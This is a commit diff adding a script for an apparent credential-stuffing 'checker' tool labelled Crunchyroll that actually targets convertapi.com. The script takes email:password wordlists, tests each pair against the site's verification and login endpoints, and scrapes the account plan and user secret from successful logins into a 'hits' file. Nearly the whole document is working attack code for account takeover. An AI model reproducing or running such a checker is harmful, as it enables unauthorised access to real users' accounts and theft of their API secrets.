1
+ [IrSettings]
2
+ {
3
+ "Name": "CrunchyrollApi",
4
+ "Author": "AkashPattnaik",
5
+ "AdditionalInfo": "Join @IndianBots For More",
6
+ "IrVersion": "4.0.1 [Release]",
7
+ "ConfigVersion": "0.0.1+beta",
8
+ "AllowedWordlist": "MailPass",
9
+ "HitsFileName": "Crunchyroll",
10
+ "SaveHits": "True"
11
+ }
12
+
13
+
14
+ [IrScript]
15
+ # This Is A Comment
16
+ """
17
+ This Is Python DocString,
18
+ A MultiLine Comment If Required Else A Explanation For Functions And Classes
19
+ """
20
+ req = requestGet(
21
+ url=f"https://www.convertapi.com/a/VerifyEmailAndPassword?Password=$LOGIN&Email=$SECRET",
22
+ headers={
23
+ "Host": "www.convertapi.com",
24
+ "User-Agent": "Mozilla/5.0 (Windows Mankind 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",
25
+ "Accept": "application/json, text/javascript, */*; q=0.01",
26
+ "Accept-Language": "en-US,en;q=0.5",
27
+ "Accept-Encoding": "gzip, deflate, br",
28
+ "X-Requested-With": "XMLHttpRequest",
29
+ "Connection": "keep-alive",
30
+ "Referer": "https://www.convertapi.com/",
31
+ }
32
+ )
33
+
34
+ # Check If There Is A Response Or Not,
35
+ # When Disconnected From Internet, Returns False.
36
+ if req:
37
+ if "Email or password is incorrect" in req.text:
38
+ self.checked.append("$LOGIN:$SECRET")
39
+ self.failed.append("$LOGIN:$SECRET")
40
+ pass
41
+ if "true" in req.text:
42
+ # You Can Always Set Same Variables, Only After Previous Action Is Completed
43
+ req = requestPost(
44
+ url='https://www.convertapi.com/a/login',
45
+ content=URLEncode(f"Email=$LOGIN&Password=$SECRET&ReturnUrl="),
46
+ headers={
47
+ "Host": "www.convertapi.com",
48
+ "User-Agent": "Mozilla/5.0 (Windows Mankind 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",
49
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
50
+ "Accept-Language": "en-US,en;q=0.5",
51
+ "Accept-Encoding": "gzip, deflate, br",
52
+ "Content-Length": f"{Length(URLEncode(f'Email=$LOGIN>&Password=$SECRET&ReturnUrl='))}",
53
+ "Origin": "https://www.convertapi.com",
54
+ "Connection": "keep-alive",
55
+ "Referer": "https://www.convertapi.com/",
56
+ "Upgrade-Insecure-Requests": "1",
57
+ },
58
+ )
59
+ # BeautifulSoup Is Added For Parsing The Request Return Data
60
+ if req:
61
+ soup = BeautifulSoup(req.text, 'html.parser')
62
+ Plan = soup.find('h3').text
63
+ AccountSecret = soup.find('', attrs={
64
+ "id": "user-secret",
65
+ "class": "form-control",
66
+ })
67
+ Progress = soup.find('label')
68
+ # Saving Hits In A Custom File
69
+ HitSaver(
70
+ fileName="Crunchyroll",
71
+ hit=f"$LOGIN:$SECRET",
72
+ extraContent=f"Plan - {Plan} AccountSecret - {AccountSecret} Progress - {Progress}",
73
+ )
74
+ self.checked.append("$LOGIN:$SECRET")
75
+ self.hits.append("$LOGIN:$SECRET")
76
+ else:
77
+ self.checked.append("$LOGIN:$SECRET")
78
+ self.failed.append("$LOGIN:$SECRET")
0 commit comments